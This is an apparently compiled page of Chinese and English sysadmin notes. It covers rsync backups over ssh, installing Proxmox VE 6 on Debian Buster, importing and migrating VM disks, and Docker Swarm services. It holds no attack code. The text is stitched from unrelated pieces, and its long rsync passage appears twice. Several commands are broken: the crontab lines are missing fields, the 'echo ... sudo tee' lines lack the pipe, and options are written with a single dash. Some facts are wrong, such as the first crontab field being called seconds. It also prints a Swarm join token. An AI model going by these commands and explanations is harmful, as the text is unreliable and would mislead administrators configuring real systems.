Rsync 使用数据备份完成后该操作会自行终止。对于此,最好是在上述命令的基础上再添加一个“-a”选项(对于文件)和“-e”选 项,指定使用远程的shell程序,以保障安全。此时,远端的shell将使用一个加密协议,比如ssh,以便远程的shell可以使用-e ssh格式。

这 样,上述Rsync 使用命令就有了ssh加密协议的保护,具体形式如下:

rsync -a -e “ssh -p 2234” localdir host:remotedir

如果想了解整个文件拷贝过程中所发生的一切,可以使用-v和-progress选项。-v选项表示打印出详细的操作过程。rsync默认的操作是单纯地 拷贝文件,不打印任何东西,尽量不打扰用户,只是简单而快速地完成任务。若只使用一次,-v选项将会报告所有被拷贝的文件,并在最后给 出总量。若使用两次-v选项,即在命令中使用-vv的话,rsync将不仅报告所有被拷贝的文件,还会报告那些勿需拷贝的文件,并在最后给出更 详细的信息。-progress选项的任务则主要是显示当前的拷贝进度,包括当前文件的大小,已完成的百分比,当前的传输速度,剩余时间估计, 等。如果要写一条使用复选项模式和ssh隧道协议的命令,同时还要求有进度指示器的话,则可采用如下形式:

rsync -avv -e ssh -progress localdir host:remotedir

如果在拷贝文件的过程中,传输被中断,Rsync 使用的默认操作是撤消前操作,即从目标机上删除已拷贝的部分文件。如果想在下次拷贝时续传文件 ,不需要重新拷贝所有文件的话,可以使用-partial选项阻止rsync在传输中断时删除已拷贝的部分。如果希望同时使用-partial和-progress 选项的功能,则可以使用-P选项,这是rsync提供的一个更便捷的选项,可以代替上述两者。因此,如果想使用复选项模式的文件拷贝,并关闭 删除选项,同时要求有进度指示器和ssh隧道协议的保护,则可以采用如下命令:

rsync -arvvP -e “ssh -p 2234” localdir host:remotedir

如果希望系统按照预定的调度计划自行处理,可以简单地在后台守护进程任务中添加Rsync 使用命令。如:要添加rsync命令到/etc/crontab文件中 ,方法如下所示:

30 4 * user rsync -aP -e ssh localdir host:remotedir

后台作业任务中的前五项用于定义某个任务何时被调度,第六项告诉后台守护进程哪一个用户将运行该任务。可以把以下例子中的“user”字 符串替换为将运行该任务的实际的用户帐号。例中的后台守护程序被设置为每天早上4:30运行一次。前五个字段的含义依次为秒,小时,月份 中的某一天,年份中的某月和一周中的星期几。时间以0开头,所以秒为0-59,小时为 0-23。接下来的两个字段,月份中的某一天和年份中的 某月,为1-31和1-12。最后一个字段,星期中的某一天,为0-7,不管是0还是7都代表星期天。实际的后台守护进程配置文件都比这复杂,但这 些是用rsync进行数据备份时创建后台程序的基本操作。如果还想了解更多的创建后台守护程序的相关信息,可以通过启动命令man cron,man crontab和man 5 crontab来获取。如果想集中管理数据备份后台守护进程,可以在备份服务器上创建如下的后台守护项:

30 4 * user rsync -aP -e ssh host:remotedir localdir

按照如上所述的方式设置后,Rsync 使用将从某个特定的远程主机上的目录(remotedir)中收集文件信息,并复制这些文件到你所指定的本地 (localdir)目录中。

Microsoft为Windows开发提供了虚拟机下载服务。以下将利用这些镜像演示OVF导入功能。

*下载虚拟机镜像压缩包*

在选择同意用户协议后,选择基于VMware的Windows 10 Enterprise(Evaluation-Build),下载zip压缩包。

*从zip压缩包提取磁盘镜像*

使用unzip或其他工具解压缩zip压缩包,通过ssh/scp将ovf和vmdk文件复制到Proxmox VE服务器。

*导入虚拟机*

执行以下命令可以创建新虚拟机,虚拟机的CPU、内存和名称沿用OVF配置文件中的设置,磁盘镜像将导入local-lvm存储。网络配置可以手工完成。

qm importovf 999 WinDev1709Eval.ovf local-lvm

至此,虚拟机导入完成,可以启动使用。

安装后的一些问题,还在想办法解决


vm: ping domain host: journalctl -n xx -f UFW BLOCK …..53……


Introduction

The installation of a supported Proxmox VE server should be done via Bare-metal_ISO_Installer. In some case it makes sense to install Proxmox VE on top of a running Debian Buster 64-bit, especially if you want a custom partition layout. For this HowTO the following Debian Buster ISO was used: [1].

Install a standard Debian Buster (amd64)

Install a standard Debian Buster, for details see Debian, and configure a static IP. It is recommended to only install the “standard” package selection, and nothing else, as Proxmox VE brings its own packages for qemu, lxc. A desktop environment is not necessary.

Add an /etc/hosts entry for your IP address

Please make sure that your machine’s hostname is resolvable via /etc/hosts, i.e. you need an entry in /etc/hosts which assigns an address to its hostname.

Make sure that you have configured one of the following addresses in /etc/hosts for your hostname:

  • 1 IPv4 or
  • 1 IPv6 or
  • 1 IPv4 and 1 IPv6

Note: This also means editing or rather removing the address 127.0.1.1 that might be present as default.

For instance, if your IP address is 192.168.15.77, and your hostname prox4m1, then your /etc/hosts file could look like:

127.0.0.1       localhost.localdomain localhost
192.168.15.77   prox4m1.proxmox.com prox4m1

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

You can test if your setup is ok using the hostname command:

hostname --ip-address
192.168.15.77 # should return your IP address here

Install Proxmox VE

Adapt your sources.list

Add the Proxmox VE repository:

echo "deb http://download.proxmox.com/debian/pve buster pve-no-subscription" > /etc/apt/sources.list.d/pve-install-repo.list

Add the Proxmox VE repository key:

wget http://download.proxmox.com/debian/proxmox-ve-release-6.x.gpg -O /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg
chmod +r /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg  # optional, if you have a non-default umask

Update your repository and system by running:

apt update && apt full-upgrade

NOTE: If you have enabled other another arch (typically, i386 to run some older software) and apt complains about not being able to find /binary-i386: “Unable to find expected entry ‘pve/binary-i386/Packages’” you need to remove other arch or use instead the row:

deb [arch=amd64] http://download.proxmox.com/debian/pve buster pve-no-subscription

this is because Proxmox repository does not have any other arch besides amd64; more info about multiarch on debian at: https://wiki.debian.org/Multiarch/HOWTO.

Install Proxmox VE packages

Install the Proxmox VE packages

apt install proxmox-ve postfix open-iscsi

Configure packages which require user input on installation according to your needs (e.g. Samba asking about WINS/DHCP support). If you have a mail server in your network, you should configure postfix as a satellite system, your existing mail server will then be the relay host which will route the emails sent by the Proxmox server to their final recipient.

If you don’t know what to enter here, choose local only and leave the system name as is.

Finally, reboot your system, the new Proxmox VE kernel should be automatically selected in the GRUB menu.

Note: If you have a subscription key don’t forget to switch to the enterprise repository after installation, see Package repositories.

The os-prober package scans all the partitions of your host, including those assigned to guests VMs, to create dual-boot GRUB entries. If you didn’t install Proxmox VE as dual boot beside another Operating System, you can safely remove the os-prober package.

apt remove os-prober

Connect to the Proxmox VE web interface

Connect to the admin web interface (https://youripaddress:8006). If you have a fresh install and didn’t add any users yet, you should use the root account with your linux root password, and select “PAM Authentication” to log in.

Once logged in, create a Linux Bridge called vmbr0, and add your first network interface to it.

Adapt vmbr0 settings

Troubleshooting

resolv.conf gets overwritten

The PVE GUI expects to control DNS management and will no longer take its DNS settings from /etc/network/interfaces. Any package that auto-generates (overwrites) /etc/resolv.conf will cause DNS to fail, e.g. packages ‘resolvconf’ for IPv4 and ‘rdnssd’ for IPv6.

ipcc_send_rec[1] failed

If you see

ipcc_send_rec[1] failed: Connection refused

then you should review your /etc/hosts file according to the instructions above.

Optional Steps

Optional: Remove the Debian kernel

apt remove linux-image-amd64 'linux-image-4.19*'

Update and check grub2 config by running:

update-grub

我们将介绍在Debian 10(Buster)Linux系统上安装Proxmox VE 6服务器,推荐和支持的Proxmox VE服务器安装通过Bare-metal_ISO_Installer完成。

简介

Proxmox虚拟环境(VE)是一种企业级开源服务器虚拟化解决方案,基于Debian Linux发行版,具有经过修改的Ubuntu LTS内核,它允许你部署和管理虚拟机和容器。

此设置假设你正在运行Debian 10 Buster Linux服务器(参考:安装Debian 10 Buster的方法),如果你没有,请按照我们的参考文章在将用作虚拟机监控程序的专用服务器上安装Debian 10,请注意,你需要一个支持Intel 64或AMD64 CPU扩展的64位处理器。

以下是在Debian 10(Buster)上安装Proxmox VE 6的方法。

一、更新Debian OS和设置系统主机名

1、更新Debian OS

在开始之前更新apt包索引:

sudo apt -y update

sudo apt -y upgrade

sudo reboot

2、设置系统主机名

我们需要设置主机名并确保它可以通过/etc/hosts解析:

sudo hostnamectl set-hostname prox6node01.example.com –static

echo “10.1.1.10 prox6node01.example.com prox6node01” sudo tee -a /etc/hosts

example.com应替换为有效的域名。

二、添加Proxmox VE存储库

所有Proxmox软件包都将从匹配的上游存储库中提取,该存储库是手动添加到系统的,在这里,我们将添加Proxmox VE No-Subscription Repository。

导入GPG密钥:

wget -qO - http://download.proxmox.com/debian/proxmox-ve-release-6.x.gpg sudo apt-key add -

-——- or ——-

wget http://download.proxmox.com/debian/proxmox-ve-release-6.x.gpg

sudo mv proxmox-ve-release-6.x.gpg /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg

chmod +r /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg

然后添加Proxmox VE存储库:

echo “deb http://download.proxmox.com/debian/pve buster pve-no-subscription” sudo tee /etc/apt/sources.list.d/pve-install-repo.list

你现在可以通过运行以下命令更新存储库和系统:

sudo apt update && sudo apt dist-upgrade

添加Proxmox VE Ceph存储库:

这是Proxmox VE的主要Ceph存储库,并保存Ceph软件包以供生产使用,你还可以使用此存储库仅更新Ceph客户端:

echo “deb http://download.proxmox.com/debian/ceph-nautilus buster main” sudo tee /etc/apt/sources.list.d/ceph.list

三、安装Proxmox VE软件包

这些是为安装Proxmox VE软件包而执行的命令:

sudo apt install proxmox-ve postfix open-iscsi

如果你的网络中有邮件服务器,则应将postfix配置为satellite system,并且现有的邮件服务器将是“relay host”,它将把proxmox服务器发送的电子邮件路由到最终收件人,如果你不知道在此输入什么,请选择仅限本地。

安装后重新启动Debian系统以使用Proxmox VE内核启动:

sudo reboot

四、访问Proxmox VE Web界面

连接到Proxmox VE管理Web界面(https://youripaddress:8006):

Proxmox VE控制面板如下所示:

选择“PAM Authentication”并使用服务器的root用户密码进行身份验证。

登录后,创建一个名为vmbr0的Linux Bridge:

并添加你的第一个网络接口:

至此,整个Proxmox VE 6安装完成。

直接使用PVE的备份功能,再复制镜像到新的PVE节点上也是OK的,但是通用性较差,成功率较低。使用ZSTD压缩备份,若干次都是还原失败(提示校验失败)。逐放弃,选择迁移虚拟磁盘的方式操作。

1、截图备份原虚拟机的配置

img``

2、将lvm里的raw镜像转换为qcow2镜像

SHELL登陆宿主机,执行下面命令: 【2020.11补充】**重要:**先执行ls /dev/mapper/查看一下具体的存储名和硬盘名,以免搞混。

img

如图,pve和VM–LVM是你WEB界面可以看到的存储名(local存储显示为你的节点名),后面跟上的vm–100–disk–0是ID为100虚拟机的虚拟磁盘。

继续执行如下命令:

qemu-img convert -O qcow2 -c /dev/mapper/pve-vm--110--disk--0 VM110.qcow2
#其中pve-vm--110--disk--0是上图硬盘的名,注意格式对应修改,VM110.qcow2是转换到当前目录的文件名。
#可以再打开一个SHELL窗口,执行下面命令查看转换进度(结果显示在上面命令的下方)
pkill -USR1 -n -x qemu-img

3、转换完成后复制QCOW2镜像到目标PVE宿主机

复制方法自由发挥,可以通过方法如下: SCP发送、WinSCP下载上传、挂载U盘、挂载移动硬盘、挂载NFS存储等等

分享:挂载NTFS格式的U盘(移动硬盘) mkdir /mnt/Upan/ apt install -y ntfs-3g #(CentOS:yum install -y ntfs-3gmount -t ntfs /dev/sdc1 /mnt/Upan/ #挂载 umount /dev/sdc1 #卸载

4、目标PVE宿主机创建虚拟机

根据步骤一的截图,创建虚拟机,然后在虚拟机详情里的“硬件”分离并删除自动创建的硬盘。

5、导入QCOW2磁盘镜像文件到新创建的虚拟机

SHELL登陆目标PVE宿主机,执行下面命令:

qm importdisk <vmid> <source> <storage>
#例子:qm importdisk 101 VM110.qcow2 local-lvm
#上面101是新建虚拟机的VM ID,VM110.qcow2是复制过来的QCOW2磁盘镜像文件,local-lvm是你的存储ID。

登陆WEB界面,应用未使用的磁盘。 启动虚拟机,完成迁移。

Manager

docker swarm init

Work1

docker swarm join –token SWMTKN-1-45iawvwnc45h6c7plj6zkmj0f0zd0tr8y5rvk9o35w25mt6pev-dahwo3nak1y7qyx0dwe803zbm xxx.xxx.xxx:2377

work2

docker swarm join –token SWMTKN-1-45iawvwnc45h6c7plj6zkmj0f0zd0tr8y5rvk9o35w25mt6pev-dahwo3nak1y7qyx0dwe803zbm xxx.xxx.xxx:2377

work3

docker swarm join –token SWMTKN-1-45iawvwnc45h6c7plj6zkmj0f0zd0tr8y5rvk9o35w25mt6pev-dahwo3nak1y7qyx0dwe803zbm xxx.xxx.xxx:2377

docker node ls

部署服务

我们使用 docker service 命令来管理 Swarm 集群中的服务,该命令只能在管理节点运行。

新建服务

现在我们在上一节创建的 Swarm 集群中运行一个名为 nginx 服务。

$ docker service create --replicas 3 -p 80:80 --name nginx nginx:1.13.7-alpine

现在我们使用浏览器,输入任意节点 IP ,即可看到 nginx 默认页面。

查看服务

使用 docker service ls 来查看当前 Swarm 集群运行的服务。

$ docker service ls
ID                  NAME                MODE                REPLICAS            IMAGE                 PORTS
kc57xffvhul5        nginx               replicated          3/3                 nginx:1.13.7-alpine   *:80->80/tcp

使用 docker service ps 来查看某个服务的详情。

$ docker service ps nginx
ID                  NAME                IMAGE                 NODE                DESIRED STATE       CURRENT STATE                ERROR               PORTS
pjfzd39buzlt        nginx.1             nginx:1.13.7-alpine   swarm2              Running             Running about a minute ago
hy9eeivdxlaa        nginx.2             nginx:1.13.7-alpine   swarm1              Running             Running about a minute ago
36wmpiv7gmfo        nginx.3             nginx:1.13.7-alpine   swarm3              Running             Running about a minute ago

使用 docker service logs 来查看某个服务的日志。

$ docker service logs nginx
nginx.3.36wmpiv7gmfo@swarm3     10.255.0.4 - - [25/Nov/2017:02:10:30 +0000] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0" "-"
nginx.3.36wmpiv7gmfo@swarm3     10.255.0.4 - - [25/Nov/2017:02:10:30 +0000] "GET /favicon.ico HTTP/1.1" 404 169 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0" "-"
nginx.3.36wmpiv7gmfo@swarm3     2017/11/25 02:10:30 [error] 5#5: *1 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 10.255.0.4, server: localhost, request: "GET /favicon.ico HTTP/1.1", host: "192.168.99.102"
nginx.1.pjfzd39buzlt@swarm2     10.255.0.2 - - [25/Nov/2017:02:10:26 +0000] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0" "-"
nginx.1.pjfzd39buzlt@swarm2     10.255.0.2 - - [25/Nov/2017:02:10:27 +0000] "GET /favicon.ico HTTP/1.1" 404 169 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0" "-"
nginx.1.pjfzd39buzlt@swarm2     2017/11/25 02:10:27 [error] 5#5: *1 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 10.255.0.2, server: localhost, request: "GET /favicon.ico HTTP/1.1", host: "192.168.99.101"

服务伸缩

我们可以使用 docker service scale 对一个服务运行的容器数量进行伸缩。

当业务处于高峰期时,我们需要扩展服务运行的容器数量。

$ docker service scale nginx=5

当业务平稳时,我们需要减少服务运行的容器数量。

$ docker service scale nginx=2

删除服务

使用 docker service rm 来从 Swarm 集群移除某个服务。

$ docker service rm nginx

rsync

使用ssh 传输rsync 流量具有下述优点:可通过网络加密数据,也可利用使用ssh 客户端密钥建立的任何信任关系。如果要在两台计算机之间保持大型、复杂目录结构的同步性(尤其是两者间的差异很小时),那么rsync 就是一种使用起来极为方便(并且执行速度很快)、随心所欲的工具。

参数:

-a 归档模式,表示以递归方式传输文件,并保持所有属性,等同于-rlptgoD, -a选项后面可以跟一个 –no-OPTION 这个表示关闭-rlptgoD中的某一个例如 -a–no-l 等同于-rptgoD;

-r 对子目录以递归模式处理,主要是针对目录来说的,如果单独传一个文件不需要加-r,但是传输的是目录必须加-r选项;

-t 保持文件的时间属性;

-p 保持文件的权限属性;

-l 保留软链接;

-L 同步软链接的同时同步其源文件;

-g 保存文件数组;

-o 保持文件的属主;

-D 保存设备文件信息;

-v =visual,可视化;

-P 显示同步过程,比v更详细;

-u =update,加上该选项,如果DEST中文件比SRC中的新,则不同步;

-z =zip,传输时压缩;

–delete 删除DEST中SRC没有的文件;

–exclude 过滤指定文件,不同步;

–progress 在同步的过程中可以看到同步的过程状态,比如统计要同步的文件数量、同步的文件传输速度等等;

-e 指定端口;

-e:通过 ssh 传递文件

例:加上端口信息的ssh传输:

-e “ssh -p 2234”

rsync -arvP -e “ssh -p 2234” localdir host:remotedir

--delete:删除目标副本中的文件和目录。

默认情况下,rsync 只复制文件和目录,但如果从源主机删除了文件和目 录,那就不会从目标副本中删除这些文件和目录。要精确保存副本,须 包含 标志:

root@rover:~# rsync -ave ssh greendome:/home/ftp/pub/ /home/ftp/pub/

-v:是 verbose模式,输出更详细log。默认不输出这些信息。

-a:archive模式。在做备份的时候必备这个参数。(并不代表打包目标副本。)

-t:更新时间戳。

-z:压缩模式。With this option, rsync compresses any data from the files that it sends to the destination machine. This option is useful on slow connections. The compression method used is the same method that gzip uses.

-l:在目标服务器上重建主机上的link。

-n, –dry-run:不实施任何传输。只是报告模拟的传输结果。

实例:

rsync -avze ssh /home/me/public_html/contents/ user@toku:/home/tenten/contents/

Shell 例子:

#!/bin/sh

# ——– sync_contents.sh ———- # Synchronization for user contents. # This program is copyright (c) 2006 # Kreny # Ver. 1.0.0 2006/8/3 16:53:30 #

# Date for logging DATE=date +'%Y-%m-%d %T'

# Log file full pathname LOG_FILE=’/home/user/rsync_contents.log’

if [ ! -f $LOG_FILE ]; then echo “ERROR:” echo “Please check whether the log file $LOG_FILE exists and the writting permission.” exit fi

# Contents path in original Server. No backslash at the end of the path. CONTENTS_PATH_ORGINAL=’/homeuser/public_html/contents’

# Contents path in target Server. Enter the backslash at the end of the path. CONTENTS_PATH_TARGET=’/homeuser/public_html/‘

# Target server list TARGET_SERVER=’toku toku toku’

# ssh login username USER_NAME=’user’

# rsync ‘s path RSYNC=’/usr/bin/rsync’

echo “———– $DATE ———–” >> $LOG_FILE

for cur_server in $TARGET_SERVER do echo “Synchronization for Server $cur_server …” >> $LOG_FILE $RSYNC -zave ssh $CONTENTS_PATH_ORGINAL $USER_NAME@$cur_server:$CONTENTS_PATH_TARGET >> $LOG_FILE done

echo “———– END ———–” >> $LOG_FILE

Rsync 使用数据备份完成后该操作会自行终止。对于此,最好是在上述命令的基础上再添加一个“-a”选项(对于文件)和“-e”选 项,指定使用远程的shell程序,以保障安全。此时,远端的shell将使用一个加密协议,比如ssh,以便远程的shell可以使用-e ssh格式。

这 样,上述Rsync 使用命令就有了ssh加密协议的保护,具体形式如下:

rsync -a -e “ssh -p 2234” localdir host:remotedir

如果想了解整个文件拷贝过程中所发生的一切,可以使用-v和-progress选项。-v选项表示打印出详细的操作过程。rsync默认的操作是单纯地 拷贝文件,不打印任何东西,尽量不打扰用户,只是简单而快速地完成任务。若只使用一次,-v选项将会报告所有被拷贝的文件,并在最后给 出总量。若使用两次-v选项,即在命令中使用-vv的话,rsync将不仅报告所有被拷贝的文件,还会报告那些勿需拷贝的文件,并在最后给出更 详细的信息。-progress选项的任务则主要是显示当前的拷贝进度,包括当前文件的大小,已完成的百分比,当前的传输速度,剩余时间估计, 等。如果要写一条使用复选项模式和ssh隧道协议的命令,同时还要求有进度指示器的话,则可采用如下形式:

rsync -avv -e ssh -progress localdir host:remotedir

如果在拷贝文件的过程中,传输被中断,Rsync 使用的默认操作是撤消前操作,即从目标机上删除已拷贝的部分文件。如果想在下次拷贝时续传文件 ,不需要重新拷贝所有文件的话,可以使用-partial选项阻止rsync在传输中断时删除已拷贝的部分。如果希望同时使用-partial和-progress 选项的功能,则可以使用-P选项,这是rsync提供的一个更便捷的选项,可以代替上述两者。因此,如果想使用复选项模式的文件拷贝,并关闭 删除选项,同时要求有进度指示器和ssh隧道协议的保护,则可以采用如下命令:

rsync -arvvP -e “ssh -p 2234” localdir host:remotedir

如果希望系统按照预定的调度计划自行处理,可以简单地在后台守护进程任务中添加Rsync 使用命令。如:要添加rsync命令到/etc/crontab文件中 ,方法如下所示:

30 4 * user rsync -aP -e ssh localdir host:remotedir

后台作业任务中的前五项用于定义某个任务何时被调度,第六项告诉后台守护进程哪一个用户将运行该任务。可以把以下例子中的“user”字 符串替换为将运行该任务的实际的用户帐号。例中的后台守护程序被设置为每天早上4:30运行一次。前五个字段的含义依次为秒,小时,月份 中的某一天,年份中的某月和一周中的星期几。时间以0开头,所以秒为0-59,小时为 0-23。接下来的两个字段,月份中的某一天和年份中的 某月,为1-31和1-12。最后一个字段,星期中的某一天,为0-7,不管是0还是7都代表星期天。实际的后台守护进程配置文件都比这复杂,但这 些是用rsync进行数据备份时创建后台程序的基本操作。如果还想了解更多的创建后台守护程序的相关信息,可以通过启动命令man cron,man crontab和man 5 crontab来获取。如果想集中管理数据备份后台守护进程,可以在备份服务器上创建如下的后台守护项:

30 4 * user rsync -aP -e ssh host:remotedir localdir

按照如上所述的方式设置后,Rsync 使用将从某个特定的远程主机上的目录(remotedir)中收集文件信息,并复制这些文件到你所指定的本地 (localdir)目录中。

0%